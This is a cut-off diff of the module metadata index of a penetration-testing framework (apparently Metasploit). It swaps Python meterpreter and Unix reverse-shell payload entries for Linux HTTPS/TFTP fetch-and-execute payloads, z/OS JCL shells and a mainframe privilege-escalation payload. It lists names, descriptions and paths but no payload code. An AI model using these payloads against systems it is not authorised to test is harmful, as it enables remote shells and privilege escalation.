"HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/https/x64/shell_reverse_tcp", "aliases": [ ], @@ -177577,22 +177610,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "ricky" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/reverse_https", + "ref_name": "cmd/linux/https/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177601,9 +177635,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter/reverse_tcp": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", - "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp", + "payload_cmd/linux/tftp/x64/exec": { + "name": "TFTP Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/tftp/x64/exec", "aliases": [ ], @@ -177611,22 +177645,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "ricky", + "Geyslan G. Bem " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nExecute an arbitrary command or just a /bin/sh shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/reverse_tcp", + "ref_name": "cmd/linux/tftp/x64/exec", "check": false, "post_auth": false, "default_credential": false, @@ -177635,9 +177671,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter/reverse_tcp_ssl": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", - "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_ssl", + "payload_cmd/linux/tftp/x64/meterpreter/bind_tcp": { + "name": "TFTP Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/bind_tcp", "aliases": [ ], @@ -177645,24 +177681,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Campbell ", - "RageLtMan" + "Brendan Watters", + "Brent Cook ", + "ricky" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_ssl", + "ref_name": "cmd/linux/tftp/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177671,9 +177707,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter/reverse_tcp_uuid": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_uuid", + "payload_cmd/linux/tftp/x64/meterpreter/reverse_sctp": { + "name": "TFTP Fetch, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_sctp", "aliases": [ ], @@ -177681,23 +177717,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "OJ Reeves" + "Brendan Watters", + "Brent Cook ", + "RageLtMan " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_uuid", + "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_sctp", "check": false, "post_auth": false, "default_credential": false, @@ -177706,9 +177743,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter_bind_tcp": { - "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", - "fullname": "payload/cmd/unix/python/meterpreter_bind_tcp", + "payload_cmd/linux/tftp/x64/meterpreter/reverse_tcp": { + "name": "TFTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -177716,22 +177753,25 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "Brent Cook ", + "ricky", + "tkmru" ], - "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter_bind_tcp", + "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177740,9 +177780,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter_reverse_http": { - "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", - "fullname": "payload/cmd/unix/python/meterpreter_reverse_http", + "payload_cmd/linux/tftp/x64/pingback_bind_tcp": { + "name": "TFTP Fetch, Linux x64 Pingback, Bind TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/pingback_bind_tcp", "aliases": [ ], @@ -177750,22 +177790,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "bwatters-r7" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nAccept a connection from attacker and report UUID (Linux x64)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter_reverse_http", + "ref_name": "cmd/linux/tftp/x64/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177774,9 +177815,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter_reverse_https": { - "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", - "fullname": "payload/cmd/unix/python/meterpreter_reverse_https", + "payload_cmd/linux/tftp/x64/pingback_reverse_tcp": { + "name": "TFTP Fetch, Linux x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/pingback_reverse_tcp", "aliases": [ ], @@ -177784,22 +177825,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "bwatters-r7" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nConnect back to attacker and report UUID (Linux x64)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter_reverse_https", + "ref_name": "cmd/linux/tftp/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177808,9 +177850,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/meterpreter_reverse_tcp": { - "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", - "fullname": "payload/cmd/unix/python/meterpreter_reverse_tcp", + "payload_cmd/linux/tftp/x64/shell/bind_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/shell/bind_tcp", "aliases": [ ], @@ -177818,22 +177860,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "ricky" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter_reverse_tcp", + "ref_name": "cmd/linux/tftp/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177842,9 +177885,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/pingback_bind_tcp": { - "name": "Python Exec, Python Pingback, Bind TCP (via python)", - "fullname": "payload/cmd/unix/python/pingback_bind_tcp", + "payload_cmd/linux/tftp/x64/shell/reverse_sctp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_sctp", "aliases": [ ], @@ -177852,23 +177895,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "asoto-r7" + "Brendan Watters", + "ricky", + "RageLtMan " ], - "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/pingback_bind_tcp", + "ref_name": "cmd/linux/tftp/x64/shell/reverse_sctp", "check": false, "post_auth": false, "default_credential": false, @@ -177877,9 +177921,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/pingback_reverse_tcp": { - "name": "Python Exec, Python Pingback, Reverse TCP (via python)", - "fullname": "payload/cmd/unix/python/pingback_reverse_tcp", + "payload_cmd/linux/tftp/x64/shell/reverse_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_tcp", "aliases": [ ], @@ -177887,23 +177931,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "asoto-r7" + "Brendan Watters", + "ricky", + "tkmru" ], - "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/pingback_reverse_tcp", + "ref_name": "cmd/linux/tftp/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177912,9 +177957,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/shell_bind_tcp": { - "name": "Python Exec, Command Shell, Bind TCP (via python)", - "fullname": "payload/cmd/unix/python/shell_bind_tcp", + "payload_cmd/linux/tftp/x64/shell_bind_ipv6_tcp": { + "name": "TFTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/tftp/x64/shell_bind_ipv6_tcp", "aliases": [ ], @@ -177922,23 +177967,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "mumbai" + "Brendan Watters", + "epi " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nListen for an IPv6 connection and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/shell_bind_tcp", + "ref_name": "cmd/linux/tftp/x64/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177947,9 +177992,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/shell_reverse_sctp": { - "name": "Python Exec, Command Shell, Reverse SCTP (via python)", - "fullname": "payload/cmd/unix/python/shell_reverse_sctp", + "payload_cmd/linux/tftp/x64/shell_bind_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp", "aliases": [ ], @@ -177957,23 +178002,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "RageLtMan " + "Brendan Watters", + "ricky" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nListen for a connection and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/shell_reverse_sctp", + "ref_name": "cmd/linux/tftp/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -177982,9 +178027,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/shell_reverse_tcp": { - "name": "Python Exec, Command Shell, Reverse TCP (via python)", - "fullname": "payload/cmd/unix/python/shell_reverse_tcp", + "payload_cmd/linux/tftp/x64/shell_bind_tcp_random_port": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp_random_port", "aliases": [ ], @@ -177992,23 +178037,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Campbell " + "Brendan Watters", + "Geyslan G. Bem " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nListen for a connection in a random port and spawn a command shell.\nUse nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/shell_reverse_tcp", + "ref_name": "cmd/linux/tftp/x64/shell_bind_tcp_random_port", "check": false, "post_auth": false, "default_credential": false, @@ -178017,9 +178062,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/shell_reverse_tcp_ssl": { - "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", - "fullname": "payload/cmd/unix/python/shell_reverse_tcp_ssl", + "payload_cmd/linux/tftp/x64/shell_find_port": { + "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_find_port", "aliases": [ ], @@ -178027,23 +178072,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "RageLtMan " + "Brendan Watters", + "mak" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nSpawn a shell on an established connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/shell_reverse_tcp_ssl", + "ref_name": "cmd/linux/tftp/x64/shell_find_port", "check": false, "post_auth": false, "default_credential": false, @@ -178052,9 +178097,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/python/shell_reverse_udp": { - "name": "Python Exec, Command Shell, Reverse UDP (via python)", - "fullname": "payload/cmd/unix/python/shell_reverse_udp", + "payload_cmd/linux/tftp/x64/shell_reverse_ipv6_tcp": { + "name": "TFTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", "aliases": [ ], @@ -178062,23 +178107,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "RageLtMan " + "Brendan Watters", + "epi " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nConnect back to attacker and spawn a command shell over IPv6", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/shell_reverse_udp", + "ref_name": "cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -178087,9 +178132,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse": { - "name": "Unix Command Shell, Double Reverse TCP (telnet)", - "fullname": "payload/cmd/unix/reverse", + "payload_cmd/linux/tftp/x64/shell_reverse_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_tcp", "aliases": [ ], @@ -178097,22 +178142,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "ricky" ], - "description": "Creates an interactive shell through two inbound connections", + "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nConnect back to attacker and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse", + "ref_name": "cmd/linux/tftp/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -178121,9 +178167,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_awk": { - "name": "Unix Command Shell, Reverse TCP (via AWK)", - "fullname": "payload/cmd/unix/reverse_awk", + "payload_cmd/mainframe/apf_privesc_jcl": { + "name": "JCL to Escalate Privileges", + "fullname": "payload/cmd/mainframe/apf_privesc_jcl", "aliases": [ ], @@ -178131,24 +178177,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "espreto ", - "Ulisses Castro ", - "Gabriel Quadros " + "Bigendian Smalls", + "Ayoub" ], - "description": "Creates an interactive shell via GNU AWK", + "description": "(Elevate privileges for user. Adds\n SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using\n an unsecured/updateable APF authorized library (APFLIB) and updating\n the user's ACEE using this program/library. Note: This privesc only\n works with z/OS systems using RACF, no other ESM is supported.)", "references": [ ], - "platform": "Unix", + "platform": "Mainframe", "arch": "cmd", - "rport": null, + "rport": 21, "autofilter_ports": null, "autofilter_services": null, "targets": null, "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_awk.rb", + "path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_awk", + "ref_name": "cmd/mainframe/apf_privesc_jcl", "check": false, "post_auth": false, "default_credential": false, @@ -178157,9 +178202,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_bash": { - "name": "Unix Command Shell, Reverse TCP (/dev/tcp)", - "fullname": "payload/cmd/unix/reverse_bash", + "payload_cmd/mainframe/bind_shell_jcl": { + "name": "Z/OS (MVS) Command Shell, Bind TCP", + "fullname": "payload/cmd/mainframe/bind_shell_jcl", "aliases": [ ], @@ -178167,22 +178212,22 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Bigendian Smalls" ], - "description": "Creates an interactive shell via bash's builtin /dev/tcp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/tcp feature.", + "description": "Provide JCL which creates a bind shell\n This implmentation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", "references": [ ], - "platform": "Unix", + "platform": "Mainframe", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_bash.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_bash", + "ref_name": "cmd/mainframe/bind_shell_jcl", "check": false, "post_auth": false, "default_credential": false, @@ -178191,9 +178236,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_bash_telnet_ssl": { - "name": "Unix Command Shell, Reverse TCP SSL (telnet)", - "fullname": "payload/cmd/unix/reverse_bash_telnet_ssl", + "payload_cmd/mainframe/generic_jcl": { + "name": "Generic JCL Test for Mainframe Exploits", + "fullname": "payload/cmd/mainframe/generic_jcl", "aliases": [ ], @@ -178201,22 +178246,22 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Bigendian Smalls" ], - "description": "Creates an interactive shell via mkfifo and telnet.\n This method works on Debian and other systems compiled\n without /dev/tcp support. This module uses the '-z'\n option included on some systems to encrypt using SSL.", + "description": "Provide JCL which can be used to submit\n a job to JES2 on z/OS which will exit and return 0. This\n can be used as a template for other JCL based payloads", "references": [ ], - "platform": "Unix", + "platform": "Mainframe", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/mainframe/generic_jcl.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_bash_telnet_ssl", + "ref_name": "cmd/mainframe/generic_jcl", "check": false, "post_auth": false, "default_credential": false, @@ -178225,9 +178270,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_bash_udp": { - "name": "Unix Command Shell, Reverse UDP (/dev/udp)", - "fullname": "payload/cmd/unix/reverse_bash_udp", + "payload_cmd/mainframe/reverse_shell_jcl": { + "name": "Z/OS (MVS) Command Shell, Reverse TCP", + "fullname": "payload/cmd/mainframe/reverse_shell_jcl", "aliases": [ ], @@ -178235,23 +178280,22 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm ", - "bcoles " + "Bigendian Smalls" ], - "description": "Creates an interactive shell via bash's builtin /dev/udp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/udp feature.", + "description": "Provide JCL which creates a reverse shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", "references": [ ], - "platform": "Unix", + "platform": "Mainframe", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_bash_udp.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_bash_udp", + "ref_name": "cmd/mainframe/reverse_shell_jcl", "check": false, "post_auth": false, "default_credential": false, @@ -178260,9 +178304,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_jjs": { - "name": "Unix Command Shell, Reverse TCP (via jjs)", - "fullname": "payload/cmd/unix/reverse_jjs", + "payload_cmd/unix/bind_awk": { + "name": "Unix Command Shell, Bind TCP (via AWK)", + "fullname": "payload/cmd/unix/bind_awk", "aliases": [ ], @@ -178270,14 +178314,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "conerpirate", - "bcoles " + "espreto ", + "Ulisses Castro " ], - "description": "Connect back and create a command shell via jjs", + "description": "Listen for a connection and spawn a command shell via GNU AWK", "references": [ - "URL-https://gtfobins.github.io/gtfobins/jjs/", - "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", - "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], "platform": "Unix", "arch": "cmd", @@ -178285,10 +178327,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_jjs.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_awk.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_jjs", + "ref_name": "cmd/unix/bind_awk", "check": false, "post_auth": false, "default_credential": false, @@ -178297,9 +178339,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/reverse_ksh": { - "name": "Unix Command Shell, Reverse TCP (via Ksh)", - "fullname": "payload/cmd/unix/reverse_ksh", + "payload_cmd/unix/bind_busybox_telnetd": { + "name": "Unix Command Shell, Bind TCP (via BusyBox telnetd)", + "fullname": "payload/cmd/unix/bind_busybox_telnetd", "aliases": [ ], @@ -178307,9 +178349,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Wang Yihang " + "Matthew Kienow " ], - "description": "Connect back and create a command shell via Ksh. Note: Although Ksh is often\n available, please be aware it isn't usually installed by default.", + "description": "Listen for a connection and spawn a command shell via BusyBox telnetd", "references": [ ], @@ -178320,9 +178362,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ksh.rb", + "path": 